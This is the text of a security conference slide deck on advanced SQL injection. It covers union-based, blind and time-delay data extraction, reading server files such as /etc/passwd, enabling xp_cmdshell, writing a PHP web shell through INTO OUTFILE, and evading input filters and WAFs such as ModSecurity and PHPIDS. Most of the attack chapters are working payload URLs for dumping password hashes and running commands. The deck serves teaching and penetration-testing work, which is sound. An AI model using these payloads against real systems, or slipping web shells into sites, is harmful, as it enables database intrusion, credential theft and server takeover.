Advanced SQL Injection Dmitry Evteev  ( Positive  Technologies)  Web Application Security Consortium (WASC) Contributor
Subjects in Question Introduction to web application security Classical approach to  SQL Injection  exploitation Blind SQL Injection Working with file system and executing commands on server under  SQL Injection  exploitation Methods to bypass program security filters Methods to bypass   a Web Application Firewall (WAF) Conclusions
Introduction to Web Application Security
Unsafe World of Web Applications According to the statistics collected by Positive Technologies in 2008, 83%  of sites contain critical vulnerabilities  78%  of sites contain vulnerabilities of moderate risk level the probability to infect the pages of a vulnerable web application with malicious code automatically is about  15-20% http://ptsecurity.ru/analytics.asp The data is based on automatic scanning of  16121  systems, detailed analysis of 59 web applications including analysis of the source code of over 10 applications .
Unsafe World of Web Applications: Statistics  2008
Chapter  1 :  SQL  Injection Vulnerability Classical Approach to  SQL Injection  Exploitation
Illustrative Example of SQL Injection Web Server DBMS http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
Illustrative Example of SQL Injection Web Server DBMS http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
SQL  Injection  –  Basic Concepts SQL  Injection A method to attack a database bypassing firewalls. In this method, parameters transmitted to the database via web applications are modified so that the executable SQL request changes . There are two types of SQL   Injection SQL Injection into a string parameter Examples:  SELECT * from table where name = " $_GET['name'] " SELECT id, acl from table where user_agent = ' $_SERVER["HTTP_USER_AGENT"] ' SQL Injection into a numeric parameter Examples:  SELECT login, name from table where id =  $_COOKIE["id"] SELECT id, news from table where news = 123 limit  $_POST["limit"]
SQL Injection – Basic Concepts Methods of SQL Injection exploitation are classified according to the DBMS type and exploitation conditions Vulnerable request can implement Insert, Update, Delete It is possible to inject SQL code into any part of SQL request Blind SQL Injection Features of SQL implementations used in various DBMSs SQL Injection vulnerability is characteristic not only for web applications !
SQL Injection – Basic Concepts SQL Injection classification SQL   Injection can be exploited both during the attack conduction or  after a while
SQL Injection – Basic Concepts Methods to detect SQL Injection Function testing  ( black/white-box) Fuzzing Static / dynamic/manual analysis of the source code Examples of function testing for   http://site/?param=123 http://site/?param=1 ' http://site/?param=1 '# http://site/?param=1 " … http://site/?param=1  order by 1000  http://site/?param=1  AND 1=1 -- http://site/?param=1 '--  http://site/?param=1  AND 1=2-- ... … http://site/?param=1 '/*  http://site/?param=1 ' AND '1'='1 ... etc.
SQL Injectio n  –  Classical Exploitation  ( MySQL ) Vulnerability detection /?id=1 + ORDER+BY+100 SQL request looks like SELECT id, name   from table where id =1  ORDER BY 100 As a result, the following error message can be received ERROR 1054 (42S22): Unknown column '100' in 'order clause' Obtaining table/column names  ( information_schema/ search )  and further obtaining data from the discovered tables /?id=1+ union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns SQL request becomes SELECT id, name   from table where id =1  union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns As a result, the desired information can be received in the following form | 0 |  table1:column1  | | 0 |  table1:column2   |
SQL Injectio n  –  Features of Different DBMSs Features of exploitation for different DBMS Example  ( MySQL ) : SELECT * from table where id = 1  union select 1,2,3 Example  (PostgreSQL): SELECT * from table where id = 1 ; select 1,2,3 Example  ( Oracle ) : SELECT * from table where id = 1  union select null,null,null from sys.dual MySQL MSSQL MS Access Oracle DB2 PostgreSQL String concatenation concat(,) concat_ws(delim,) ' '+' ' " "&" " ' '||' ' '' concat '' " "+" " ' '||' ' ' '||' ' Comments --  and   /* * / and   # -- and   /* No --  and /* -- -- and   /* Request union union union and   ; union union union union and  ; Sub-requests v .4.1 >= Yes No Yes Yes Yes Stored procedures No Yes No Yes No Yes Availability of  information_schema  or its analogs v .5.0 >= Yes Yes Yes Yes Yes
SQL Injectio n  –  Exploitation for Different   DBMSs MySQL 4.1>= First entry /?id=1 union select name,123 from users  limit 0,1 Second entry /?id=1 union select name,123 from users  limit 1,1 MSSQL First entry /?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where  t.rownum=1 Second entry /?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where  t.rownum=2 PostgreSQL First entry /?id=1  union  select name,  null  from users  limit 1 offset 0 Second entry /?id=1  union  select name,  null  from users  limit 1 offset 1 or First entry /?id=1 ;  select name,  123  from users  limit 1 offset 0 Second entry /?id=1 ;  select name,  123  from users  limit 1 offset 1
Chapter  2 :  Blind SQL Injection Blind SQL Injection
Blind SQL Injection – Basic Concepts Blind SQL Injection A method to attack a database bypassing firewalls.   In the course of exploitation of an SQL Injection vulnerability, the attacker analyses the application logic (true/false) . Blind SQL Injections can be classified according to the following criteria
Blind SQL Injection – Basic Concepts Methods to detect B lind  SQL Injection http://site/?param= -1 OR 1=1 http://site/?param= -1 OR 1=1-- ... http://site/?param= -1' http://site/?param= -1' AND 1=2 ... http://site/?param= -1' OR '1'='1 ... http://site/?param= -1"/* ... http://site/?param= 2 http://site/?param= 1 http://site/?param= 2-1 ... http://site/?param= 1' AND 1=1 http://site/?param= 1' AND '1'='1 … etc. Methods to detect Double B lind  SQL Injection   http://site/?param= -1 AND benchmark(2000,md5(now())) ... http://site/?param= -1' AND benchmark(2000,md5(now()))-- ... etc.
Blind  SQL Injectio n  –  Classical Exploitation  ( MySQL )  Searching for the first character of the first table entry /?id=1+ AND+ 555 =if(ord(mid(( select+pass+from+users+limit+0,1 ),1,1))= 97 , 555 , 777 ) SQL request becomes SELECT id, name   from table where id =1  AND 555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777) If the table “users”   contains a column “pass” and the first character of the first entry in this column is  97  ( letter   “a” ) , then DBMS   will return   TRUE;  otherwise,  FALSE . Searching for the second character of the first table entry /?id=1+ AND+555=if(ord(mid((select+pass+from+users+limit+0,1), 2 ,1))=97,555,777) SQL request becomes SELECT id, name   from table where id =1  AND 555=if(ord(mid((select pass from users limit 0,1), 2 ,1))=97,555,777) If the table “users”   contains a column “pass” and the second character of the first entry in this column is 97  ( letter  « a »)  , then DBMS   will return   TRUE; otherwise, FALSE.
Blind  SQL Injectio n  –  Classical Exploitation  ( MySQL )  Let’s go faster … We can restrict the range of character search. For example, for MD5 it is [0-9a-f], or 48-57, 97-102 .  Moreover, we can use the inequality signs ! Searching for the first character of the first table entry /?id=1+ AND+555=if(ord( lower ( mid((select+pass+from+users+limit+0,1),1,1) ) ) > 97,555,777) If the table “ users”   contains a column “ pass” and the first character of the first entry in this column is  greater than   97  ( letter “a” ) , then DBMS   will return   TRUE; otherwise, FALSE. Searching for the first character of the second table entry /?id=1+ AND+555=if(ord(lower ( mid((select+pass+from+users+limit+ 1 ,1),1,1) ) )< 1 02,555,777) If the table “ users”   contains a column “ pass” and the first character of the   second   entry in this column is lower than  1 0 2 ( letter “f” ) , then DBMS   will return TRUE; otherwise, FALSE. A more rational approach /?id=1+ AND+555=if(ord(lower ( mid((select+pass+from+users+limit+ 0 ,1),1,1) ) )< 1 0 0 ,555,777) If the character being searched is lower than 1 00 ( letter  « d »),  consequently, the character either represents letter “d” or belongs to the range [a-c].
Blind  SQL Injectio n  –  New Methods of Exploitation  ( MySQL )  … and even faster … It is possible to find up to 1 2  characters using one request  ( method by Qwazar   X07’09 ) Searching for the first character of the first table entry /?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in(' 0 '))>0, ( 0x787B312C3235367D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 1 '))>0, ( 0x787B312C28 ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 2 '))>0, ( 0x5B5B3A5D5D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 3 '))>0, ( 0x5B5B ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 4 '))>0, ( 0x28287B317D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 5 '))>0, ( 0x0 ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 6 '))>0, ( 0x28 ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 7 '))>0, ( 0x5B322D315D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 8 '))>0, ( 0x5B5B2E63682E5D5D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 9 '))>0, ( 0x5C ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' a '))>0, ( select 1 union select 2 ),( 1 ))))))))))))) If the table “users”   contains a column “pass” and the first character of the first entry in this column belongs to the range [0-9a] ,  then DBMS   will return an error message. Otherwise, it will return 1, i.e. the request will be correct.
Blind  SQL Injectio n  –  New Methods of Exploitation  ( MySQL )  … at the same rate … How does it work? MySQL returns  unique   error messages using illegal regexps: select 1 regexp if(1=1,&quot;x{1,0}&quot;,2) #1139 - Got error 'invalid repetition count(s)' from regexp select 1 regexp if(1=1,&quot;x{1,(&quot;,2) #1139 - Got error 'braces not balanced' from regexp  etc. An error message is also displayed if two entries are unexpectedly  returned instead of one  ( method by Elekt ) : select if(1=1,(select 1 union select 2),2) #1242 - Subquery returns more than 1 row Note: in the example, hexadecimal equivalents were used, e.g.  0 x787B312C307D instead  x{1,0}
Blind  SQL Injectio n  –  New Methods of Exploitation  ( MySQL )  … at the same rate … If it is necessary to find an MD5 hash, only two requests are required. Request 1 /?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in('0'))>0,(0x787B312C3235367D),if((mid((select+pass+from+users+limit+0,1),1,1)in('1'))>0,(0x787B312C28),if((mid((select+pass+from+users+limit+0,1),1,1)in('2'))>0,(0x5B5B3A5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('3'))>0,(0x5B5B),if((mid((select+pass+from+users+limit+0,1),1,1)in('4'))>0,(0x28287B317D),if((mid((select+pass+from+users+limit+0,1),1,1)in('5'))>0,(0x0),if((mid((select+pass+from+users+limit+0,1),1,1)in('6'))>0,(0x28),if((mid((select+pass+from+users+limit+0,1),1,1)in('7'))>0,(0x5B322D315D),if((mid((select+pass+from+users+limit+0,1),1,1)in('8'))>0,(0x5B5B2E63682E5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('9'))>0,(0x5C),if((mid((select+pass+from+users+limit+0,1),1,1)in('a'))>0,(select 1 union select 2),(1))))))))))))) If the character does not belong to the range [0-9a], then the second request is sent  ( checking   [b-f] ) /?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in('0'))>0,(0x787B312C3235367D),if((mid((select+pass+from+users+limit+0,1),1,1)in('1'))>0,(0x787B312C28),if((mid((select+pass+from+users+limit+0,1),1,1)in('2'))>0,(0x5B5B3A5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('3'))>0,(0x5B5B),if((mid((select+pass+from+users+limit+0,1),1,1)in('4'))>0,(0x28287B317D),if((mid((select+pass+from+users+limit+0,1),1,1)in('5'))>0,(0x0),if((mid((select+pass+from+users+limit+0,1),1,1)in('6'))>0,(0x28),if((mid((select+pass+from+users+limit+0,1),1,1)in('7'))>0,(0x5B322D315D),if((mid((select+pass+from+users+limit+0,1),1,1)in('8'))>0,(0x5B5B2E63682E5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('9'))>0,(0x5C),if((mid((select+pass+from+users+limit+0,1),1,1)in('a'))>0,(select 1 union select 2),(1)))))))))))))
Blind  SQL Injectio n  –  New Methods of Exploitation  ( MySQL )  … at the maximal rate ! A new method using function  ExtractValue()  based on experiments with function NAME_CONST ()  MySQL v. 5.0.12 > v.5.0.64  (X09’09)  conducted by  Qwazar : select 1 AND ExtractValue(1,concat(0x5C,(' test '))); As a result, the following error message can be received (if MySQL version is >=5.1) XPATH syntax error: '\ test ' Thus, we can simply return the desired data: /?id=1+ AND+extractvalue(1,concat(0x5C,(select pass from users limit 0,1))) SQL request becomes SELECT id, name   from table where id =1  AND extractvalue(1,concat(0x5C,(select pass from users limit 0,1))) As a result, the desired information can be received in the following form The error message string cannot contain more than  31  characters .  Function mid() and such-like can be applied to display longer strings.
Blind  SQL Injectio n  –  New Methods of Exploitation  ( MySQL )  The Rate Limit … What if error messages are suppressed? We can restrict the range of character search. For example, for MD5 this range is [0-9a-f]. We can use news titles, site sections etc. as signatures . Implementation:   /?id= if((mid((select pwd from users limit 0,1),1,1)in('a'))>0,( 12345 ),if((mid((select pwd from users limit 0,1),1,1)in('b'))>0,( 12346 ),  ……..  ,null )) or /?id= if((mid((select pwd from users limit 0,1),1,1)in('a','b','c','d','e','f'))>0,( 12345 ),if((mid((select pwd from users limit 0,1),1,1)in('0','1','2','3','4','5','6','7','8','9'))>0,( 12346 ),  ……..  ,null )) In this example, “ 12345 ”   and “ 123456 ”   represent identifiers of news on the site. Restrictions of this method: Appropriate   application architecture; The length of HTTP request cannot be more than  4096  bytes.
Double   Blind  SQL Injectio n  –  Classical Exploitation  ( MySQL )  More haste, less speed;) Exploitation of Double Blind SQL Injection is based on time delays. We can restrict the range of character search to increase performance . Classical implementation:   /?id=1+ AND + if((ascii(lower(substring((select password from user limit  0 ,1), 0 ,1))))= 97 ,1,benchmark( 2000000 ,md5(now()))) We can conjecture that the character was guessed right on the basis of the time delay of web server response; Manipulating the value   2000000 : we can achieve acceptable performance for a concrete application; Function sleep() represents an analogue of function benchmark () . Function sleep() is more secure in the given context, because it doesn’t use server resources.
Chapter  3 :  Working with File System and Executing Commands on Server Working with File System and Executing Commands on Server Under  SQL Injection  Exploitation
Working with File System General architecture of using file system via SQL Injection uid=80(www) gid=80(www) If you access a file created by DBMS, it is necessary to keep in mind that the file owner is the user called DBMS uid=88(mysql) gid=88(mysql) Requests are received from the DBMS user  ( to work with file system, privileges   file_priv are required ) File system is accessed by the DBMS user  ( appropriate permissions are required at the ACL level ) “ Current directory”   represents the DBMS directory
Working with File System  –  Difference of   DBMSs An example for MSSQL: CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM 'c:\boot.ini'; SELECT * FROM mydata; DROP TABLE mydata; MySQL MSSQL MS Access Oracle PostgreSQL Built-in functions Yes No Yes No Yes Available functions load_file, load data infile, into otfile/dumpfile Procedures   eq insert from file curdir() Procedures   eq insert from file pg_read_file(), pg_ls_dir(), copy, etc.
Working with File System An example for   MySQL LOAD_FILE union select load_file('/etc/passwd') LOAD DATA INFILE create table t(a varchar(500)); load data infile '/etc/passwd' into table t; select a from t; SELECT INTO OUTFILE  и  SELECT INTO DUMPFILE union select 1 into outfile 't' union select 1 into dumpfile 't'
Executing Commands on Server  –  Difference of   DBMSs An example for MSSQL: EXEC xp_cmdshell 'ipconfig /all'; To use xp_cmdshell in   MSSQL >= 2005, it is necessary to perform the following: EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; MySQL MSSQL MS Access Oracle PostgreSQL Built-in functions No Yes Yes No No Available functions No EXEC shell() Own procedures Own procedures
Executing Commands on Server An example for SQL Writing web-shell to the file   /www/img/shell.php /?id=1+union+select+'<?eval($_request[shell]);?>' +into+outfile+'/www/img/shell.php' Executing commands on server /img/shell.php?shell=passthru('ls');
Chapter  4 : Methods to Bypass Security Filters Methods to Bypass Security Filters
Filters for Incoming data. Types Transparent   for web applications magic_quotes_gpc ,  display_errors ,  etc. mod_rewrite, ISAPI   filters ,  etc. Built-in functions of the development language Universal Example:   addslashes(), addcslashes(), htmlspecialchars() ,  etc Meant for a certain environment Example:   mysql_real_escape_string(), pg_escape_string(), dbx_escape_string(), etc In-house design of a programmer Type casting Using regular expressions
Methods to Bypass Security Filters (1) Apply coding to the data transmitted to the application There is unlimited number of forms to represent the string   “qwerty” Hex coding:  0 x717765727479 ASCII representation:   char(113),char(119),char(101),char(114), char(116),char(121) Encryption with various keys: ╧i╘═╗ Г▐╗щ~)°°Р= Example: hex(AES_ENCRYPT('qwerty',1)) is   B969A9A01DA8E78FA8DD7E299C9CF23D aes_decrypt(concat(0xB9,0x69,0xA9,0xA0,0x1D,0xA8,0xE7,0x8F,0xA8,0xDD,0x7E,0x29,0x9C,0x9C,0xF2,0x3D),1)   is   qwerty
Methods to Bypass Security Filters (2) Apply codes that are not processed by the filter Function synonyms CHARACTER_LENGTH() -> CHAR_LENGTH() LOWER() -> LCASE() OCTET_LENGTH() -> LENGTH() LOCATE() -> POSITION( ) REGEXP() -> RLIKE() UPPER() -> UCASE() etc. Obfuscated codes for requests and data Examples of obfuscated codes for the string “qwerty”: reverse(concat(if(1,char(121),2),0x74,right(left(0x567210,2),1),lower(mid('TEST',2,1)),replace(0x7074,'pt','w'),char(instr(123321,33)+110))) concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),unhex(round(log(2)*100)-4),char(114),char(right(cot(31337),2)+54),char(pow(11,2)))
Methods to Bypass Security Filters An example of bypassing signatures  ( obfuscated code for request ) The following request will correspond to the application signature /?id=1+ union +( select +1,2+ from +test.users) But sometimes the signatures can be bypassed /?id=1+union+(select+'xz'from+xxx) /?id=(1)unIon(selEct(1),mid(hash,1,32)from(test.users)) /?id=1+union+(sELect'1',concat(login,hash)from+test.users) /?id=(1)union(((((((select(1),hex(hash)from(test.users)))))))) /?id=(1);exec('sel'+'ect'(1)) /?id=(1)or(0x50=0x50) …
Methods to Bypass Security Filters (3) Use  null-byte  to bypass binary-dependent functions Example:  if(ereg (&quot;^(.){1,3}$&quot;, $_GET['param'])) { … } /?param= 123 ereg (&quot;^(.){1,3}$&quot;, &quot; 123 &quot;) –  true /?param= 1234 ereg (&quot;^(.){1,3}$&quot;, &quot; 1234 &quot;) –  false /?param= 1+union+select+1 ereg (&quot;^(.){1,3}$&quot;, &quot; 1 union select 1 &quot;) –  false /?param= 123%00 ereg (&quot;^(.){1,3}$&quot;, &quot; 123\0 &quot;) -  true /?param= 1/*%00*/union+select+1 ereg (&quot;^(.){1,3}$&quot;, &quot; 1/*\0*/union select 1 &quot;) -  true
Methods to Bypass Security Filters ( 4 ) Bypassing function addslashes() It is possible if there is a vulnerability that allows attackers to set  SJIS, BIG5  or  GBK  coding How does it work? addslashes(&quot; ' &quot;) т.е. 0x 27  вернет &quot; \ ' &quot; т.е. 0x 5c 27 An example for GBK coding: 0xbf 27  –   illegal character 0xbf 5c  – valid independent character 0xbf27 , being processed with function  addslashes() ,   becomes  0xbf 5c 27 , i.e.  0xbf 5c   and a single quote у 0x 27 Raz0r, http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/
Methods to Bypass Security Filters (5) A common vulnerability in the functions of security filters The following request doesn’t allow malicious users to conduct an attack /?id=1+ union+select +1,2, 3 /* If there is a corresponding vulnerability in the filter, the following request will be successfully processed /?id=1 + un /**/ ion + sel /**/ ect+1,2,3-- SQL request becomes SELECT  *  from table where id =1  union select 1,2,3 -- Any set of characters that is cut by the filter  (e .g.  #####, %00, etc.)  can be used instead of  /**/ The given example works in case of &quot;superfluous cleaning&quot; of incoming data  ( replacing r egexp  with an empty string )
Chapter  5 : Methods to Bypass   Web Application Firewall Methods to Bypass   Web Application Firewall (WAF)
What is WAF http:// server /?id=6329&print=Y At attack is detected !  Alarm !!! WAF Webserver http:// server /?id=5351 http:// server /?id=8234 http:// server /? id=“><script>... http:// server /?id=1+union+select... http:// server /? id=/../../../etc/passwd Data normalization Decode HTML entities (e.g. &#99;, &quot;, &#xAA;) Escaped characters (e.g. \t, \001, \xAA, \uAABB) Null byte string termination ... Signature search   /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is ...
Classification According to the behavior: Bridge/Router Reverse Proxy Built-in According to the protection model: Signature-based Rule-based According to the response to a “bad” request: Cleaning of dangerous data Blocking the request Blocking the attack source
Methods to Bypass WAF Fundamental technology limitations Inability to protect a web-application from all possible vulnerabilities General problems When using universal WAF-filters, it is necessary to balance the filter efficiency and minimization error responses, when valid traffic is blocked Processing of the traffic returned to a client Implementation Vulnerabilities Normalization techniques Application of new methods of web vulnerability exploitation  ( HTTP Parameter Pollution ,  HTTP Parameter Fragmentation ,  null-byte replacement ,  etc. )
Practice of Bypassing  WAF: SQL Injection -  Normalization Example   of a vulnerability in the function of request normalization The following request doesn’t allow anyone to conduct an attack /?id=1+ union+select +1,2, 3 /* If there is a corresponding vulnerability in   the WAF ,  this request will be successfully performed /?id=1/*union*/ union /*select*/ select+1,2,3 /* After being processed by WAF ,  the request will become index.php?id=1/* uni   X on */ union /* sel X ect */ select+1,2,3 /* The given example works in case of cleaning of dangerous traffic, not in case of blocking the entire request or the attack source
Practice of Bypassing  WAF: SQL Injection –  HPP  ( example  1) Using HTTP Parameter Pollution (HPP) The following request doesn’t allow anyone to conduct an attack /?id=1 ;select+1,2, 3 +from+users+where+id=1 -- This request will be successfully performed using HPP /?id=1 ;select+1 &id= 2, 3 +from+users+where+id=1 -- Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked  OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Practice of Bypassing  WAF: SQL Injection –  HPP How does it work?
Practice of Bypassing  WAF: SQL Injection  - HPP Technology/Environment Parameter Interpretation Example ASP.NET/IIS Concatenation by comma par1=val1,val2 ASP/IIS Concatenation by comma par1=val1,val2 PHP/APACHE The last parameter is resulting par1=val2 PHP/Zeus The last parameter is resulting par1=val2 JSP, Servlet/Apache Tomcat The first parameter is resulting par1=val1 JSP,Servlet/Oracle Application Server 10g The first parameter is resulting par1=val1 JSP,Servlet/Jetty The first parameter is resulting par1=val1 IBM Lotus Domino The first parameter is resulting par1=val1 IBM HTTP Server The last parameter is resulting par1=val2 mod_perl,libapeq2/Apache The first parameter is resulting par1=val1 Perl CGI/Apache The first parameter is resulting par1=val1 mod_perl,lib???/Apache The first parameter is resulting par1=val1 mod_wsgi (Python)/Apache An array is returned ARRAY(0x8b9058c) Pythin/Zope The first parameter is resulting par1=val1 IceWarp An array is returned ['val1','val2'] AXIS 2400 The last parameter is resulting par1=val2 Linksys Wireless-G PTZ Internet Camera Concatenation by comma par1=val1,val2 Ricoh Aficio 1022 Printer  The last parameter is resulting par1=val2 webcamXP Pro The first parameter is resulting par1=val1 DBMan Concatenation by two tildes par1=val1~~val2
Practice of Bypassing  WAF: SQL Injection –  HPP  ( example  2) Using   HTTP Parameter Pollution (HPP) Vulnerable code SQL=&quot; select key from table where id= &quot;+ Request.QueryString(&quot;id&quot;) This request is successfully performed using the HPP technique /?id=1 /**/union/* &id= */select/* &id= */pwd/* &id= */from/* &id= */users The SQL request becomes select key from table where id= 1 /**/ union/* , */select/* , */pwd/* , */from/* , */users Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf
Practice of Bypassing  WAF: SQL Injection  – HPF Using  HTTP Parameter Fragmentation (HPF) Vulnerable code example Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b'] ); Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b']. &quot; limit &quot; .$_GET['c'] ); The following request doesn’t allow anyone to conduct an attack /?a=1+ union+select +1,2/* These requests  may   be successfully performed using  HPF /?a=1+ union/* &b= */select+1,2 /?a=1+ union/* &b= */select+1,pass/* &c= */from+users-- The SQL requests become select * from table where a= 1  union /* and b=*/ select 1,2 select * from table where a= 1  union /* and b=*/ select 1,pass /*   limit */ from users -- http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00080.html
Practice of Bypassing  WAF:  Blind  SQL Injection Using logical requests AND/OR The following requests allow one to conduct a successful attack for many  WAFs /?id=1+ OR+0x50=0x50 /?id=1+ and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 Negation and inequality signs  (!=,  <>, <, > )  can be used instead of the equality one –  It is amazing, but many   WAFs miss it! It becomes possible to exploit the vulnerability with the method of blind-SQL Injection by replacing SQL functions that get to WAF signatures with their synonyms substring() -> mid(), substr(), etc ascii() -> hex(), bin(), etc benchmark() -> sleep() The given example is valid for all   WAFs whose developers aim to cover as many  web-applications as possible
Practice of Bypassing  WAF:  Blind  SQL Injection Known : substring((select 'password'),1,1) = 0x70 substr((select 'password'),1,1) = 0x70  mid((select 'password'),1,1) = 0x70  New : strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1 STRCMP( expr1,expr2 )  returns 0 if the strings are the same, -1 if the first argument is smaller than the second one, and 1 otherwise http://dev.mysql.com/doc/refman/5.0/en/string-comparison-functions.html
Practice of Bypassing  WAF:  Blind  SQL Injection Blind SQL Injection doesn’t always imply use of   AND/OR ! Vulnerable code examples Query( &quot;select * from table where uid=&quot; .$_GET['uid'] ); Query( &quot;select * from table where card=&quot; .$_GET['card'] ); Exploitation examples false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)%2B112233 false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x61)%2B112233 true: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x62)%2B112233 first hash character = B false: ... false: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6240)%2B112233 true: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6241)%2B112233 second hash character = A
Practice of Bypassing  WAF: SQL Injection  – Signature Bypass PHPIDS (0.6.1.1) – default rules Forbid: /?id=1+union+select+user,password+from+mysql.user+ where +user=1 But allows: /?id=1+ union+select+user,password+from+mysql.user+limit+0,1   Forbid: /?id=1+ OR+1=1 But allows:  / ?id=1+ OR+0x50=0x50 Forbid: /?id= substring ((1),1,1) But allows: /?id= mid ((1),1,1)
Practice of Bypassing  WAF: SQL Injection  – Signature Bypass Mod_Security (2.5.9) – default rules Forbid: /?id=1+and+ascii(lower( substring ((select+pwd+from+users+limit+1,1),1,1)))=74 But allows: /?id=1+and+ascii(lower( mid ((select+pwd+from+users+limit+1,1),1,1)))=74  Forbid: /?id=1+ OR+1=1 But allows:  / ?id=1+ OR+0x50=0x50 Forbid: /?id=1+ and+5=6 But allows:  / ?id=1+ and+5!=6 Forbid: /?id=1 ;drop members But allows:  / ?id=1 ;delete members And allows: /?id= (1);exec('sel'+'ect(1)'+',(xxx)from'+'yyy')
Conclusions
SQL Injection in “wildlife” SQL Injection can be found even in widely known and large Internet resources
Conclusions SQL Injection is a  gross  programming error ,  which is widespread and very dangerous WAF is not the long-expected “silver bullet” WAF doesn’t eliminate a vulnerability, it just partly screens the attack vector Conceptual   problems of   WAF  –  application of the signature principle Correctly organized   Software Development Life Cycle (SDLC)   considerably reduces the probability that a vulnerability will appear in program code Web application protection (and information security in whole) must be comprehensive   :)
Automated Exploitation of SQL Injection sqlmap  ( http://sqlmap.sourceforge.net/ ) Full support :  MySQL, Oracle, PostgreSQL  и  Microsoft SQL Server Partial support :  Microsoft Access, DB2, Informix, Sybase  и  Interbase sqlus  ( http://sqlsus.sourceforge.net/ ) Only MySQL support is implemented bsqlbf-v2  ( http://code.google.com/p/bsqlbf-v2/ It isn’t oriented on Blind SQL Injections any more .  The following systems are supported:   MySQL, Oracle, PostgreSQL, and   Microsoft SQL Server In view of development of new fast techniques of Blind SQL Injection exploitation in MySQL, they are going to release a corresponding proof of concept  ( it will be available on   http://www.milw0rm.com/papers/ )
Automatic detection of SQL Injection
Additional materials and references WASC: http://projects.webappsec.org/SQL-Injection OWASP: http://www.owasp.org/index.php/SQL_Injection Securitylab: http://www.securitylab.ru/ Pentestmonkey.net Cheat Sheets: http://pentestmonkey.net/ (Oracle, MSSQL, MySQL, PostgreSQL, Ingres, DB2, Informix) Antichat resources: MySQL >=4.x: https://forum.antichat.ru/threadnav43966-1-10.html MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127 MSSQL: http://forum.antichat.ru/thread15087.html ORACLE: http://forum.antichat.ru/showthread.php?t=40576 PostgreSQL: http://forum.antichat.ru/thread35599.html MSAccess: http://forum.antichat.ru/thread50550.html
Thank you for your attention ! [email_address] http://devteev.blogspot.com/

Advanced Sql Injection ENG

  • 1.
    Advanced SQL InjectionDmitry Evteev ( Positive Technologies) Web Application Security Consortium (WASC) Contributor
  • 2.
    Subjects in QuestionIntroduction to web application security Classical approach to SQL Injection exploitation Blind SQL Injection Working with file system and executing commands on server under SQL Injection exploitation Methods to bypass program security filters Methods to bypass a Web Application Firewall (WAF) Conclusions
  • 3.
    Introduction to WebApplication Security
  • 4.
    Unsafe World ofWeb Applications According to the statistics collected by Positive Technologies in 2008, 83% of sites contain critical vulnerabilities 78% of sites contain vulnerabilities of moderate risk level the probability to infect the pages of a vulnerable web application with malicious code automatically is about 15-20% http://ptsecurity.ru/analytics.asp The data is based on automatic scanning of 16121 systems, detailed analysis of 59 web applications including analysis of the source code of over 10 applications .
  • 5.
    Unsafe World ofWeb Applications: Statistics 2008
  • 6.
    Chapter 1: SQL Injection Vulnerability Classical Approach to SQL Injection Exploitation
  • 7.
    Illustrative Example ofSQL Injection Web Server DBMS http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
  • 8.
    Illustrative Example ofSQL Injection Web Server DBMS http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
  • 9.
    SQL Injection – Basic Concepts SQL Injection A method to attack a database bypassing firewalls. In this method, parameters transmitted to the database via web applications are modified so that the executable SQL request changes . There are two types of SQL Injection SQL Injection into a string parameter Examples: SELECT * from table where name = &quot; $_GET['name'] &quot; SELECT id, acl from table where user_agent = ' $_SERVER[&quot;HTTP_USER_AGENT&quot;] ' SQL Injection into a numeric parameter Examples: SELECT login, name from table where id = $_COOKIE[&quot;id&quot;] SELECT id, news from table where news = 123 limit $_POST[&quot;limit&quot;]
  • 10.
